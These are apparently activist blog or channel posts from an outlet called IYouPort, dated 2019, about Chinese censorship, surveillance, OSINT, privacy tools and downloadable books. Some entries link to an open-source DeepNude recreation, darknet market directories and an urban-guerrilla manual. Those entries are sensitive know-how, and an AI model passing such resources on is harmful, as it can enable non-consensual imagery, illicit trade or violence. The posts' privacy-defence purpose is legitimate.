⚠如果您公开共享 Dropbox Paper 文档，则任何查看者都可以看到曾经打开该文档的 _any_ Dropbox 用户的全名和电子邮件地址，这显然是有问题的。

这个“功能”只是在等待被滥用。

只要爬一下这些公共 Dropbox Paper 文档URL，收集打开这些文档的成千上万个 Dropbox 用户的个人详细信息，可以非常简单。

⚠这是作为 Dropbox 用户应该注意的事，因为Dropbox认为这是一项“功能”，而不是隐私bug。此外，也无法隐藏您的个人详细信息。

26/09/2019

「图」

「图」

糟糕！这是非常糟糕的事。见上图👆。

中国当局已经盗取对于当下民主政治最为重要的概念：whistleblower（举报人），

这是 透明度革命 的根本：https://www.iyouport.org/category/%e5%85%b3%e4%ba%8e%e9%80%8f%e6%98%8e%e5%ba%a6%e9%9d%a9%e5%91%bd/

⚠透明度革命和群众斗群众天壤之别；透明度革命的矛头对准权势、它是挑战权势的唯一有力工具—所有权势都会撒谎，没有谎言就没有专制和霸权。

而群众斗群众则是权势分化社会的手段。

现在，中国当局正在盗用并篡改这一概念，强行将其限制在企业内部—远离政权，不排除寻租的可能性。

警惕！

请记住上述👆，这是概念暴力污染，而不是”民主化”。

尤其请记得，⚠这一污染是发生在美国频繁起诉、监禁和惩罚全球最著名的**真正的**whistleblower 的同时—从 Edward Snowden 到 Julian Assange，从Reality Winner 到 Daniel Hale……还有太多，写不开了。

IYP将详细分析 “当局如何抓捕说真话的人”，其目的是用现实教训提醒安全意识；但同时您也可以看到，华盛顿当局对说真话的人的严厉打压。

这应该是令所有人沮丧的悲剧。

⚠中国在利用美国严打举报人这一最糟糕的民主滑坡趋势—就如他们曾经一直以来不断强调”和平”主张，采取金钱外交而非战争的 **帝国扩张**：「镶金带银的太极黑沙掌 — — 下一场来自帝国的威胁或许只是没有血腥」。

这不代表任何事，这只说明他们在试图表现得 “与美国不同”来强调其民族主义。

透明度革命是最重要的民主反抗。

IYP曾经强调过，开源情报（类似新疆火车站押送视频的调查）只是”退一步的想法”，而非进一步—⚠透明度革命始终是民主反抗最基本的形式：《“情报不是简单的信息”》。

中国当局对透明度革命概念的污染令我们倍感愤怒。

中国社会并非不关心或不熟悉透明度革命—当斯诺登的 thread 发布后，一夜之间就有大量的中国用户开始注册 wire，这是我们这些隐私权倡导者奋斗多年都不一定能够实现的显赫成就。为什么？

这正是因为中国用户对斯诺登 —举报人 whistleblower — 的信任和关注；

试想，当 whistleblowerd 的概念被当权者污染，被盗用来为权势的寻租和民族主义牟利时，其结果是什么？

当我们看到中国读者转发IYP多年前的关于透明度革命的分析文章时，我们是非常兴奋的：

《最佳庇护所和跨国维稳—— 透明度革命的未来》。

但是现在我陷入了焦虑。今天是中国当局正式暴力污染概念的第一天，这是一个可怕的开端；我不知道也不敢设想多久之后我们的动员将面对基本概念层面的沟通悬崖。

没有比透明度革命更具威力的反抗形式，这绝非夸张；

但是，请中国读者—尤其是中国读者—始终记得：举报人 whistleblower 并不是透明度革命的完整版，它是开端；真正的透明度革命需要全社会每个人的共同努力！

我们现在必须《超越透明度革命》，⚠这已经是紧迫的，尤其是对于中国社会来说，请记得：揭露暴君是一回事—— 废除它们是另一回事。

只有这一认知才能抵御中国当局的暴力污染。

好运。

27/09/2019

⚠中国网络阻塞的新形式——

关于上次提到的类似“威胁情报”系统（见 25/09/2019），可以从一个很有意思的细节判断出来—— 使用一台曾经被其他威胁情报系统（例如 IPIP、IBM 等公司）标记为“Tor”或者“代理服务器”的IP地址，就会发现，这些IP完全无法访问中国大陆网路。

GFW现在封锁翻墙服务，并不只是通过所谓的”流量特征分析“或者”探查整个数据包来寻找关键字“。

他们现在通过这种类似于威胁情报系统的东西，把特定的IP段标记为高风险。被标记的IP段，甚至无法通过SSH远程管理服务器（现象：SSH连接不超过三秒就会断开，此后服务器的IP就会被封锁）。

以及，他们封锁 IP/域名还有一个套路：如果一个IP在短时间内传送了大量”加密数据“，虽然这个IP/域名并不是什么热门站点（也就是说，一个以前从未见过的域名/IP突然传送大量加密数据），那么也会被直接当成翻墙软件所封锁。

对于Shadowsocks而言，中国已经有了封锁它的技术，但误报率非常大。

GFW对UDP数据包不感兴趣（透过UDP协议传送的数据，GFW并不会探查其内容，但是在2019年上半年，曾出现过”KCP数据流被中间人插入乱码“的事件）。

「**GFW不仅给KCP数据流插入乱码，还给TLS数据流插入乱码。目的是检测/阻断KCP协议和TLS伪装—— 正常的 QUIC/TLS 协议在被插入乱码后会中断连接，但 KCP/TLS 伪装不会」** 目前在中国，”稳定“的出墙方式是使用 HTTP ⅔ 隧道，而且不是基于 WebSocket 的那种，是要真的 HTTP ⅔ 隧道。

01/10/2019

我们从内部得到的消息是这样的：中国的人脸识别技术的运算一般分为两种方案，

一种是集中化的，监视摄像头只负责采集图像，后端传输到数据中心，进行大规模运算。

另外一种是为了减少中央服务器的负担，将一部分识别任务交给摄像头本身。

这就要求摄像头内嵌一个操作系统。

而处理识别部分的硬件设备，已经脱离了嵌入式设备的范畴，可以理解为每一个摄像头内置一个运算力并不弱的微型 PC。摄像头仅仅抓取人脸，但不去验证人脸身份，抓取后通过网络传输到后端服务器。

这两种技术无法通过外观辨别。

关于部署情况：目前即便是北上广这样的大城市，带有运算功能的摄像头也是凤毛麟角，大概主要原因是造价太高；而且，要想将所有传统摄像头更换，是一个大工程。

目前仅仅在一些关键位置部署，比如是敏感地区的地铁、路口。你能猜到的那些地方。

另外，关于传统摄像头的 **后端运算问题**。答案是，现在当局对传统摄像头的后端运算非常不满意，主要是运算压力太大，基本上实用价值大打折扣。

目前它们做的是“两手抓”，在逐步替换旧摄像头（这是个漫长的过程）的同时，抓紧增加后端的算力和算法。

通过消息人士的语气推测，**目前可能存在1 ~ 2年的“窗口期”，过了这个时间，人脸识别检测的应用价值就有一个突发的增长。** 请注意，距离中国的社会信用评分系统全国范围内正式实践，还剩最后2个月。遍布全国各地每一个角落的监视器，将极大程度上辅助社会信用评分的奖惩。

我们介绍过一些防御人脸识别的思考方式、以及目前已经成功实验的防御技术；今后还会继续介绍。根据 Comparitech 的最新调查数据，中国和美国是全球两大 最热衷于监控其公民 的国家，不同的也许

是，美国社会正在努力抵抗，希望中国社会也能跟上来。

《让面部识别失效的思考方式》

03/10/2019

如果你在半年内接到10个陌生人电话，其中9个都是骗子，那么你会如何对待第10个来电？很可能是怒气冲冲对吗？其实最后一个来电是你女朋友，刚换了新卡。

在社交网络上你经常能看到那些怒气冲冲的人，就像50C一样试图咬住你不放。也许他们并非都是50C，其中有一些人是由于被其他50C围攻过太多次，于是他们保持了一种“随时战斗”的姿态—这种姿态被用来瞄准任何人，包括你。

- ○ 这就是 **50C/trolls** 在互联网上泛滥的恶性结果之一。它感染人们，让人们失去对民主交流的基本兴趣**。

这些恶意行为者他们自己并不需要多大的影响力—他们不需要你信任他们的话，他们旨在以无处不在的出没模式污染互联网社区的生态；他们想让你焦虑、烦躁，直到因厌恶而放弃。

效果已经出现。这种被污染的生态正在驱使越来越多的人离开民主辩论的场域。

一些人专注于自说自话，不再关心周围人的想法，不再期待联合；另一些人变得怀疑一切，任何未认证的账户看起来都像“别有用心” ……

这非常糟糕。这正是恐惧民主的权势最想要的状态，他们期待它，正因此他们操纵了这场污染。他们说：“嗨，你看，这就是舆论，这就是民意！”

不，它不是；我们不应该上当，不值得因此放弃所有，因为“所有”中就包含我们的同道。要成功，我们必须首先找到彼此。

- ○ 50C/trolls 必然是有组织的、有计划的、协调性的运作，他们有明确的政治目的。这是关键证据，并且，这一证据绝非能通过某段140字以获得证实**。

要获得这一证据的确有一些 技术工具 可以帮助你，我们会在不久后的内容中做出详细介绍—它可以帮助民间组织和异议群体更清楚地判断“敌我”。

即便您对调查没有兴趣，只是希望保护自己，也有一些简单的方法（原则）可以缓解 trolls 的危害，比如这篇文章中所讲述的：《抵制在线攻击：不要被 trolling 和 Doxing 压垮 (2)》。

- ○ 语言暴力只是**trolls**的所有危害中的一小部分，有些时候这些攻击者会从在线追踪到线下造成严重的人身威胁**。目前这种情况正在大多数国家泛滥。

活动家需要做好足够的防护。并且，了解这些攻击者的目的，从而不上他们的当。

03/10/2019

本网站（iyouport. org）目前有一个 Bifrost 镜像版本，帮助在中国的读者 **免翻墙阅读**。在这里：https://storage.googleapis.com/qurium/iyouport.org/index.html

您可以试试看，也许速度有点慢，但目前测试在中国可以打开。

05/10/2019

https://phibetaiota.net/wp-content/uploads/2016/09/Benavides-49-Page-Quick-Guide.pdf

https://phibetaiota.net/wp-content/uploads/2012/09/2016-OSINT-2oolKit-Benavides.pdf

美国陆军高级培训师 Ben Benavides 负责制定陆军使用的开源情报（OSINT）调查手册。就是您在上面看到的那2个文档。这些文档有一整套。

很高兴地告诉大家，这些手册中介绍的知识和技术工具在IYP的”OSINT”栏目中基本都有发布过中文版的详细介绍。

- ○ 甚至，我们提供的知识比您在线能找到的该领域其他渠道的介绍都更为全面，而且更加时效和有实用价值**。

除了陆军的开源情报培训手册之外，您还能在网上找到北约和特种部队使用的同类情报分析手册；但是，后两者都不够实用，而且其中大量知识已经过时（技术的更新非常快，就如你所知道的那样），虽然它们在结构和思考方式上仍然是最好的—思考方式是不会过时的东西。

⚠不夸张的说，目前您在网上能找到的切实有用的知识，不会超过 **1%**；书籍市场也一样，只有那些过时的不再有效的 *侦查反侦查技术* 才会被印制成书籍出售。这就是为什么说您**不应该**将上网的直接获取视为技能提升方面的实质性收益。

但是，IYP一直正在致力于成为那1%—真正提供给您最新的、最具实用性的技术和技巧。

技术的变化（而不完全是发展）的速度是非常快的。就在几个月前，FB图谱搜索还是开源情报采集方面的瑞士军刀级利器，但现在，它已经被关闭；谷歌在近期也限制了图像情报采集的部分功能。

我们不知道接下来会发生什么，但是，🌤我们可以保证，强大的开源技术社区从来不会因寡头企业的阻挠而失去斗志—新的解决方案始终会及时到来弥补缺陷。

IYP希望做到的就是，及时地以中文形式为您呈现最新的调查、侦查、以及反侦查防御能力。

幸运的是，依旧有很多技能至今没有被损伤，就如我们汇总过的 超级情报工具库 中所介绍的内容，您也能在美国陆军手册系列中看到其中部分内容：《🎯 超级情报收集工具库：开源验证和调查工具及使用方法》。

这样的技术工具汇总还将继续进行，不只有更新，还有专注于不同领域的最新挖掘（比如社交媒体、物联网设备、GoogleDorking等等，很多）。都将出现在”开源情报”栏目中。

我们会不断强调：技术工具不是一切，它只是一个步骤；自动化工具可以提高您的调查速度，一些公认的开源情报挖掘”神器”的确很有效；⚠但真正能帮助您得到知识的是情报分析的思考方式

—这就是为什么IYP经常演示调查过程，不论是《新疆火车站押送》调查、挖掘网络水军的信息战、揭露算法暴政、还是曝光政治旋转门， 这些调查过程都可以帮助您获得 **情报分析思考方式方面的见解**。思考方式是比技术工具更值钱的东西。

⚠尤其需要强调的是：开源情报并非仅仅用于侦查，它也用于反侦查，即 防御。只有当您深刻了解追踪者最常用的方式时，才能更好地避免被追踪。

就如Evans在分析中国深圳的 Knowlesys 公司时所强调的那样

（https://twitter.com/DonEvansWm/status/1174606337730154496 ）：当权者已经使用这种方式维稳互联网20年。

- ○ 在言论罪层出不穷的情况下，向大众普及开源情报作为防御的能力，不仅是必要的，而且是紧迫的**。

IYP不是国际开源情报社区唯一擅长中文的家伙，但是我们的心态是独树一帜的，那就是：始终为华语地区互联网用户的人身安全和民主推动服务。

希望您在 iyouport.org 有所收获。周末愉快！

07/10/2019

以下是一些 **假身份生成器**（无需下载在线可用）：

1、点按空格键，可不断生成虚假身份。左上角可以设置您的需求: https://uinames.com

2、免费开源API，用于生成随机用户数据。页面中有详细介绍: https://randomuser.me

3、这是个起名字高手，帮您按照角色起名字（很直观无需过多介绍）: https://name-generator.org.uk

4、这个工具的用法我们介绍过，见《伪装＋擦除—— 在线隐身的重要步骤》。

Link 在这里: http://fakenamegenerator.com

5、这是个极简的生成器，可以根据您的角色需要生成名字: https://randomwordgenerator.com/name.php

6、这个生成器可以生成 **全套身份**，包括护照、驾照、社交媒体账户、车牌、样貌、个性特征、密码、电话 …… 所有一切，不亚于我们推荐过的 fakenamegenerator。在这里：https://elfqrin.com/fakeid.php

7、这个也是简单的生成器，您只需要选择一次性生成几个、性别倾向、以及是否生成生活全景介绍，等等。这里: https://behindthename.com/random

8、最后这个我们也介绍过，还有视频，见《完美替身》

Link 在这里: https://thispersondoesnotexist.com

📀如果您希望通过构建掩饰性身份从而保护真实身份信息的安全，这些工具足够可以帮助您完成。

关于为什么需要、以及如何使用虚假身份保护您的隐私，见：《角色扮演：行动者刚需》；还有，斯诺登推荐过的分身法，以及如何完美操作它，见《如何分身》。

玩得开心！

07/10/2019

信息安全仅仅是技术问题吗？肯定不是。

信息安全通常被视为一门技术学科 —— 防火墙、防毒软件、访问控制、和加密的世界；看起来像是一个不透明的且难以捉摸的学科。

但是，请随时记住那句话：⚠**最终的安全取决于人**，而不是技术；而且我们每个人都以我们自己视为理性的符合个人利益的方式行事，我们存在固有的心理弱点、容易被操纵、会判断失误，甚至彻头彻尾的不当行为。

这就是为什么说，*安全* 是一种心理学问题，而非仅仅是技术问题 —— 如果不能科学地避免心理弱点，再牛B的安全防护软件恐怕也帮不上您。

这就是为什么我们要推荐👆这本书，它很好地讲述了这个问题，尤其是技巧方面，值得推荐。下面将发送的本书的电子版，您可以直接下载阅读。

此外，如果您更喜欢阅读中文的相关知识，可以参见IYP的 “社交工程” 栏目，其中提供的内容都比较实用 I promise（不断更新中）：https://www.iyouport.org/category/%e5%bf%83%e7%90%86%e5%ad%a6%e5%92%8c%e7%a4%be%e4%ba%a4%e5%b7%a5%e7%a8%8b/

08/10/2019

最近我们上传了三本书的电子版，在 IYP 的telegram频道，它们依次

是下面图中呈现的样子，您可以下载阅读—免费：t.me/iyouport

- P1: 「我们已被和谐：生活在中国的监视国家」
- P2: 我们认为很重要的一本书，重要的原因见下图中所解释的「信息安全心理学」
- P3: 这是最近一些朋友称正在寻找的书

「图」

「图」

「图」

「图」

「图」

「图」

在这里下载：https://t.me/iyouport/6209 ；https://t.me/iyouport/6202 ；https://t.me/iyouport/6198

09/10/2019

在过去一周中，超过100个推特账户被封锁 – 他们都属于批评埃及政府的人，包括著名的埃及作家 @asoueif，都遭到了推特的封锁。

众所周知埃及是典型专制政权之一。

并且，这并不是第一次发生这类事。

这类事必须彻底调查，⚠推特在协助专制政权压制异议的行动中究竟扮演什么角色。详见《Why Twitter’s suspension of Egyptian activists warrants a serious investigation》。

中文推特账户被大批封锁的情况所有人都知道 —— 包括IYP也遭遇了封锁。这里是我们在那之后的评论

《在无可言说之中言说中国》。

同类的事在其他国家也多次发生过：

在巴基斯坦，异议人士和记者们遇到了更危险的来自推特的威胁，

见：《Twitter和政治威胁》；

甚至在美国本土，海军陆战队退伍军人和亚利桑那州的前国会候选人也遭到了封锁，见《‘Twitter 禁止我，没有理由，但最终他们会失败’》。

还有，《美国科技公司主动自我审查以迎合印度的新审查法》。

推特要求使用且仅仅使用手机号作为两步验证工具，也就是说，你必须输入自己的手机号码以接受验证短信。现在，你的手机号码正在被用于定位广告的目的，详见《Twitter Took Phone Numbers for Security and Used Them for Advertising》

电话号码是大问题。⚠对于中国用户来说不仅仅是广告追踪这么简单，因为当局可能拦截手机短信验证码以揭露你的真实身份。

当然，这种事 Facebook 也做过，见《Facebook 以”安全性”为幌子骗取你的手机号码》。

虚拟手机号有很多用途，**IYP**将详细介绍多款好用的虚拟号码；但是，社交媒体平台有他们自己的验证机制，该机制可以识别很多虚拟号码的使用 – 一旦被识别到您有可能被视为机器人而被永久封锁。

鉴于包括中国在内的很多国家政府都可以使用恶意密码重置功能＋拦截手机短信以获得入侵及识别真实身份的优势，我们强烈建议社交媒体平台至少允许谷歌身份验证器的使用。

🅾IYP将详细解释恶意密码重置攻击，⚠根本不需要没收你的设备 —— 不需要物理接触你的设备 —— 也能实现同样目的的攻击。

真的，这非常可怕。

13/10/2019

今天和几位朋友讨论了关于深度造假的问题。讨论结果有可能在未来写成文章。

下面将介绍几个 极为简单的深度造假工具，以及资源，也就是说，所有人都可以使用的工具，最后一个是验证造假的平台。

⚠⚠请注意，这些工具的使用有非常高的道德标准！如果任何人想用它们做坏事、操纵事实和诋毁无辜的人，肯定有人会找到你，后果自

负。⚠⚠

1、Faceswap — 这是最热门的造假工具，因为非常容易操作，被誉为 “适用于所有人的 Deepfakes 软件”。https://github.com/deepfakes/faceswap

2、Faceswap2 — 这是增强版，https://github.com/joshua-wu/deepfakes_faceswap

3、DeepFaceLab — faceswap 的另一个版本。https://github.com/iperov/DeepFaceLab

4、DeepfakeCapsuleGAN — 使用 Capsule GAN 生成深度假货，https://github.com/snknitin/DeepfakeCapsuleGAN

5、Large resolution facemasked — 如题 可以制作较高分辨率的假脸，https://github.com/dfaker/df

6、Deepfakes China — 中文版的。说实话深度造假技术在中国的知名度更高…… https://www.deepfakescn.com/

7、Easy_Deepfakes_GUI — 非常简单易于操作的换脸工具，https://github.com/boehm-e/Easy_Deepfakes_GUI

8、Deepfakes Web — 付费访问，工具和教程的网站，https://deepfakesweb.com/

9、DeepNude — 一个深度造假应用程序，可渲染穿着衣服的女性的裸照。如你所知，争议非常大，但开发者还是把它卖出去了。

Open-Deepnude 是一个 Github 项目，用于重新创建 DeepNude。

- ○ ■ 注：仅出于希望研究人员可以使用该软件的意愿而列出该项目，并且将/且正在努力对该技术进行反击（有趣的是，参与该项目的很大一部分帐户似乎都属于中国用户）。

https://github.com/StoneLyu/open-deepnude?source＝post_page——294c3909602————————-

10、arxiv.org — 是一种机器学习模型，经过训练可以从16×16像素的微小输入图像中重建面部图像，将其放大到128×128，具有逼真

的照片效果。

这里是总览：https://iforcedabot.com/photo-realistic-emojis-and-emotes-with-progressive-face-super-resolution/

11、TruePic — 验证图片视频真实性的在线平台，https://truepic.com/

⚠再次重申：请不要做任何伤害无辜者的事！

关于造假视频的验证技术，我们曾经介绍过一些，比如这里：https://www.iyouport.org/%e5%85%ac%e6%b0%91%e8%ae%b0%e8%80%85%e5%a6%82%e4%bd%95%e9%aa%8c%e8%af%81%e6%b0%91%e9%97%b4%e7%88%86%e6%96%99%e8%a7%86%e9%84%e7%9c%9f%e5%ae%9e%e6%80%a7%ef%bc%9f/

并且将来还会不断介绍相关知识 —— 验证技术将致力于让大众易于掌握、易于使用。

14/10/2019

新书推荐 —— 视觉信息验证技术

数字图像和视频已成为全世界执法取证的重要电子证据，也是大众了解事实的关键媒介，因为它们是从事发现场收集数字证据的最有效手段。

但是，随着造假技术的深化和大众化，“有图有真相”这一逻辑已经不再成立 – 即便有视频也可能不是真相。在这里看到 《当恶意者掌握技术：信息战的未来究竟有多可怕？》

因此，维持视觉证据的可信赖性和可靠性是当今数字世界的主要挑战。

对数字图像和视频的保真度和可靠性进行调查和维护的需求，已引起“数字多媒体取证”领域的兴起。

数字图像取证主要涉及两个广泛的问题：

（a）摄像机源识别

（b）图像伪造检测

摄像机源识别是一项研究，用于分析被使用的是哪种摄像设备和类型以捕获特定图像。

另一方面，图像伪造检测被用于识别给定图像是否被人为篡改。如果判断为伪造，它还会尝试对伪造进行还原。

图像伪造检测本质上是一种“盲”技术，也就是说，在检测过程中不存在原始（未修改的）图像。这是主要挑战之一，当然还有其他挑战。

下面将上传一本书的电子版，重点介绍数字图像取证技术的最新研究。

这本书的每一章都通过插图和必要的背景清楚地讨论了该新兴领域在某些方面的最新进展，技术介绍比较详细。对公民识别造假的能力提升来说，也会有所帮助。

在这里下载：https://t.me/iyouport/6236

21/102019

看到中国—

一家中国官方媒体内部最近再次被分发了“意见表”，让员工“揭露”领导有什么问题—选项只有两个：有问题，并写出具体问题；没问题或不清楚，打勾就行了。

这是个不记名的”意见”；结果是，大部分人都打勾了“没问题或不清楚”。其他人弃权了。

因为害怕被追究？生活经验告诉人们对权力说真话非常危险？认识到即便写出问题也无从解决？…… 或者，上述全部？

消息人士给了我们一篇新闻稿的截图（下图）并耸耸肩，”没有公开的反对和抵抗，几乎在任何领域都是如此”。

「图」

「图」

阿根廷在购买中国监视技术时骄傲地宣布：“现在我们也能像中国一样安全！” 你觉得他们为什么会这样说？

有时我们也会被问到：”中国社会真的反对人脸识别吗？为什么看不到抵抗？” …… 这是废话，当然很多人在反对，但是大多数人只能使用私密群组交流对这件事的担心，因为任何公开的表达都可能被认为危险；更不用说组织反监视的社会运动了。

就如学者马丁·塞利格曼曾经说过的，不反抗的代价是病态的、是”被训练出来的无助”。

消息人士说，办公室的人们表示，安装在大家工作地方的摄像头侵犯了工作人员的权利，于是领导要求 “盖住那个摄像头”。

摄像头是办公楼物业安装的，现在它被一个大的防护罩遮住了，并用胶带在周边贴牢。

我说，”这很好，这是第一步”。

消息人士摇摇头，”是那些长期在精神上监控大家的人要求盖住那个物理监视器的”。

我觉得这句话值得思考。

22/10/2019

如你所知，中国的资本主义程度越来越高，这是一个线索，无所谓当局是否承认。

但如今的资本和其传统形式有所不同了。

信息赋予了新的统治阶级以强大的权力。通过信息的所有权和控制，这种新兴的阶级不仅支配着劳动力，而且支配着传统上人们所理解的资本。

⚠新的统治阶级利用信息的权力可以绕开任何劳工运动和社会运动为当权者制造的阻碍。

那么，我们可以怎么办？

接下来将上传一本书，思想很激进，而且富有远见；它不仅提供了分析这个新世界的理论工具，而且提供改变它的方法。

书《资本已死》，在这里下载：https://t.me/iyouport/6277

24/10/2019

「图」

「图」

上传一个打包文件，关于 安全 的知识体系：https://t.me/iyouport/6289

26/10/2019

「图」

「图」

快讯：中国通过了《密码法》

自从去年开始中国第一次举办了标准化会议之后，这就是注定的。

⚠您可以在这里重温对此危机的分析《NSA 的阴云笼罩国际加密 —— 网络安全标准化会议在中国举行令人五味杂陈》。

我们需要提醒注意：这很有可能是 全球反加密之战 中一个新的节奏，虽然目前还无法清楚地解释为什么（需要具体案例）

28/10/2019

开源情报技术、方法和工具，其能力之强大，想必您已经有很多了解；IYP 有开源情报栏目：https://www.iyouport.org/category/osint/

其中提供的所有知识、工具和技巧，都是最新的。

接下来即将上传的是一本书，它不仅包含了IYP曾经介绍过的诸多思考方式和情报分析技巧，还将通过两个子层（深网和暗网）提高您获取情报的技术能力。

这本书包括了许多开源情报资源，不论是公民社会、反抗者、情报机构、还是企业，都可以使用这些资源来了解趋势、识别风险并收集竞争对手的情报，从而可以做出更有效的决策。

您将发现黑客和渗透测试人员同样使用这些技术、方法和工具，在线收集有关特定目标的情报；以及如何将开源情报资源用于进行社会工

程攻击的目的 —— 也就是我们强调过的，通过敌人的眼睛看自己，即 对抗性思考方式，是最好的防御。

熟悉开源情报的操作，您应该 至少 得到以下方法：

- 确定情报需求并利用各种工具和资源来改善组织中的数据收集、分析和决策；
- 使用开源情报资源，通过发现在线、公开和敏感的数据，并在外部攻击者发现数据之前将其隐藏，以保护个人和组织的安全；
- 收集有关商业竞争对手的情报，并预测未来的市场方向；
- 进行高级搜索、以挖掘各种社交媒体网站中隐藏的情报，追踪大型群体事件、热门话题、全球趋势、本地动态、挖掘信息战水军网络、揭露虚假信息……
- 了解组成Internet的不同层次，以及如何在深网暗网中进行情报搜索的方法。

这本书的电子版在这里下载：https://t.me/iyouport/6304

「图」

「图」

29/10/2019

如今的人们都知道 #数字取证 是什么东西了 —— 因为已经有太多人因此被抓进监狱、被判刑。

但是，数字证据真的靠谱吗？任何人可以信任它作为剥夺一个人后半生的绝对依据吗？

这个问题在未来的IYP专栏中将做出详细解读；尤其是，提醒自我保护。

上传一本书，《数字取证研究与应用》，是作为基础知识，您可以在这里下载：https://t.me/iyouport/6313

此外还有一个文档，对 WhatsApp 进行数字取证的方法。

请注意：不止 WhatsApp。这其中还包括针对 Telegram Messenger、Facebook Messenger、Viber、Signal Messenger 等等（signal 似乎只能对安卓版破解），还有Skype 和微信。

在这里下载：https://t.me/iyouport/6315

02/11/2019我们拿到了飞马 **Pegasus** 间谍软件的文件—— 从这里您可以深入了解该间谍软件的工作方式和思考逻辑。

这种间谍软件—— 以色列 NSO 生产的 Pegasus—— ⚠ 已经感染了45个国家，被用来监视和迫害异议人士，包括香港。

请注意，**并不确定** 中国大陆当局是否在本地使用了这种间谍软件，因为无法对中国做DNS缓存探测。在这里看到详细报告：《Report：以色列 NSO 生产的间谍软件 Pegasus 在45个国家被用于监视和攻击异议人士及活动家—⚠ 亚洲有香港》。

沙特被肢解的异议人士Khashoggi 就是被这个东西杀死的。

并且，以色列间谍软件公司出售这种监视技术和知识，在130个国家针对记者、异议人士和LGBT人群，

在这里看到详细报告：《以色列间谍软件公司出售监视技术和知识在130个国家针对记者、异议和LGBT人群》。

⚠人们一直认为移民和流亡能逃离本国的暴政和威胁。但如今不行了。以间谍软件和监视技术为主要武器的网络战正在全球展开，当权者可以无国界追踪异议人士和任何他们不喜欢的人。

所以，只有充分有效的自我保护和在此基础上的反抗才有希望解决问题，没有其他选项。

您可以在在这里下载阅读这份文档：https://t.me/iyouport/6379

09/11/2019

对于社交媒体爱好者来说，任何“节和日”都是只存在那一天—— 不论是柏林墙倒塌纪念日、记者节还是世界人权日。

这就是它和它们如何被失去意义的。

社交媒体为了鼓励更多人更长时间的在线，推动这些“节和日”的舆论热点是它们最便利的手段。

这就是为什么我们觉得 “国际数据隐私日” 也很讨厌—— 讨厌它在社交媒体上的样子。它很容易令人产生误解，似乎只有在那一天或一周

内隐私才是有价值的东西。绝对不是，你应该知道。

每一天都应该是隐私日，尤其是在如今这个史无前例的大规模间谍时代；

每一天都应该是柏林墙倒塌纪念日，因为曾经那些反抗者的胜利应该激励当今的反抗者继续斗争；

每一天都应该是人权日，因为全世界每时每刻都有活动家和反抗者被抓捕、被监禁、被酷刑、甚至被杀死；

每一天都应该是记者节，因为没有新闻自由就没有民主。

- ○ ■ 反抗必须是持久的努力。

不要被社交媒体短暂的火花所误导，坐在屏幕后面刷热点不会帮助你取得任何成功；

不要忽视任何一个人的微小努力，有时，个别行为引发的火花就可以点燃了一场积极的风暴。

公民的勇气是为共同利益服务的能力，即使有一个人必须独自站起来：因为，虽然最终成千上万的人加入了这些非凡的行动，但他们所有人的勇气都在被先锋者所加强，成为不同。

1. BerlinWall30

「图」

「图」

10/11/2019

《开源情报和网络侦察》这本书涵盖了从互联网挖掘开源信息并进行情报分析的诸多方法和技术。

它介绍了许多新的领先的侦察、信息收集和开源情报方法和技术，包括元数据提取工具、高级搜索引擎、高级浏览、功能性搜索方法，在线匿名工具，例如 TOR 和 i2p；OSINT工具，例如瑞士军刀级的 Maltego，Shodan，Creepy，SearchDiggity，Recon-ng，社交网络分析(SNA)，Darkweb / Deepweb，数据可视化等等。

专注于动手工具，例如 TOR，i2p，Maltego，Shodan，Creepy，SearchDiggity，Recon-ng，FOCA，EXIF，Metagoofil，MAT 等；

包括案例研究，以及一个 Python 章节，向您展示如何创建自己的信息收集工具，以及修改现有的API。

注：这本书中提到的最厉害的工具IYP都会介绍到 – 含操作案例演示。

在这里下载：https://t.me/iyouport/6424

11/11/2019

这里是两个网站，可以帮您在表面层网络上访问洋葱的列表：

https：*deeponionweb.com https*：onion.live/

第一个网站显示了市场、供应商等信息的列表；

第二个网站似乎信息量更大，而且提供了便捷的搜索功能。

如果某个站点出现故障，您可以使用它们提供的替代链接。

12/11/2019

《间谍与反间谍》是一门有关自由技能的实践课程，包括 反监视，反侦察、地下城市活动等。

每个人都有四分之一的机会成为政府间谍针对的目标—— 不论您与任何想要改变现状的公民社会有联系、无论您的目标有多么良善，不论你居住在哪个国家，您都会成为政府间谍监视的目标：《我被警察折磨至精神崩溃：现在我必须爬起来战斗》。

认清这个现实。

⚠无论您是只是想保护自己的权利，还是要努力改变自己认为不公平的政治体制，《间谍和反间谍》这本书都会为您提供所需的专业知识。

附录中包含了著名的《城市游击战迷你手册》完整版。

在这里下载：https://t.me/iyouport/6436

13/11/2019

更新一些系列文章（来自IYP多年前被作废的.ccom网站）

一套五篇社会心理分析 ——

《诊疗笔记：求极权社会的心理阴影面积（1）》；

《极权社会的心理阴影：健康的人格、缺陷及缺陷的形成（2）》；

《极权社会的心理阴影：压抑的恶果和被误解的代偿（3）》

《极权社会的心理阴影：物质主义的由来、恶意愚蠢和攻击性冷漠（4）》

《极权社会的心理阴影：阻碍型性格和强迫性人格 – – 社会角色的代偿可能（5）》

一个概念问题 —「 附 完整 **行动技巧** 列表」 ——

《你可能误会了的”暴力”和”非暴力”》

一个吐槽 ——

《中国式”思考”和行为方式的由来》

关于政权最擅长的心理操纵手段，**13**篇 ——

《警惕微妙的劝导术：政治宣传和大众劝导 – – 你可能没意识到的信息陷阱》；

《警惕微妙的劝导术：互联网上的认知吝啬鬼和理性化怪圈》；

《警惕微妙的劝导术：影响力强大的措辞和想象中的”美女”》；

《警惕微妙的劝导术：”宣传即侵略” – – 埋下诱饵 乖乖上钩》；

《警惕微妙的劝导术：伪真相 – – 新闻机构和读者皆需谨慎》；

《警惕微妙的劝导术：一个能力排众议博取认同的”骗子”长啥样》；

《警惕微妙的劝导术：恐惧诉求 – – 埋下情绪 操控思想》；

《警惕微妙的劝导术：虚假帮派 – – 效力最强的宣传攻势》；

《警惕微妙的劝导术完结篇：反守为攻》；

《影响与操控不是一码事：如何将另一个人变成你想要的样子？》；

《操纵式宣传：五个过滤器和识别线索》；

《微妙的宣传》；

《语言是强大的武器 – – 如何使用它？社交工程攻击演示继续：致命的诱导》

14/11/2019

中国当局迟早会对民间开源情报操作下手（加入管制，虽然无法禁止），就如目前英国所威胁的那样。

随着公民调查社区的逐渐成熟，当局的目标会更快形成。

开源情报是游走在灰色地带的，也正因此它容易被当权者打击；所以要小心。

公民只使用开源情报的一部分能力，如 信息验证、挖掘水军、军事和政治动态、威胁情报等用例；它的完整版需要结合黑客和社交工程操作。

⚠ 请注意一定要确保您的操作尽可能低的侵犯性，目标一定要正义，尤其是，全程匿名非常重要！

